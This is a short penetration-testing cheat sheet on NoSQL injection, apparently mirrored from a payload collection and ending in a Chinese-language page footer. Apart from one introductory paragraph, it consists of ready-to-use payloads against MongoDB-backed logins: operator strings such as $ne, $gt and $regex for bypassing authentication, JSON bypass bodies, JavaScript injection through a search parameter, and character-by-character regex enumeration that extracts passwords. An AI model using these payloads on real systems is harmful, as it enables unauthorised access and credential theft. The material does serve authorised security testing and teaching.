NoSQL injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 username[$regex]=^adm$password[$ne]=1 username[$regex]=.{25}&pass[$ne]=1 username[$eq]=admin$password[$ne]=1 username[$ne]=admin&pass[$lt]=s username[$ne]=admin&pass[$gt]=s username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 { $where: "this.credits == this.debits" }

Basic authentication bypass

Using not equal ($ne) or greater ($gt)

username[$ne]=toto&password[$ne]=totousername[$exists]=true&password[$exists]=true​{"username": {"$ne": null}, "password": {"$ne": null} }{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

Normal sql: ' or 1=1-- -Mongo sql: ' || 1==1//    or    ' || 1==1%00
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}
in URL (if length == 3)username[$ne]=toto&password[$regex]=a.{2}username[$ne]=toto&password[$regex]=b.{2}...username[$ne]=toto&password[$regex]=m.{2}username[$ne]=toto&password[$regex]=md.{1}username[$ne]=toto&password[$regex]=mdp​username[$ne]=toto&password[$regex]=m.*username[$ne]=toto&password[$regex]=md.*​in JSON{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password/?search=admin' && this.password && this.password.match(/^a.*$/)%00/?search=admin' && this.password && this.password.match(/^b.*$/)%00/?search=admin' && this.password && this.password.match(/^c.*$/)%00.../?search=admin' && this.password && this.password.match(/^duvj.*$/)%00.../?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Blind NoSQL

MongoDB Payloads

Brute-force login usernames and passwords from POST login

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection

最后更新于

这有帮助吗?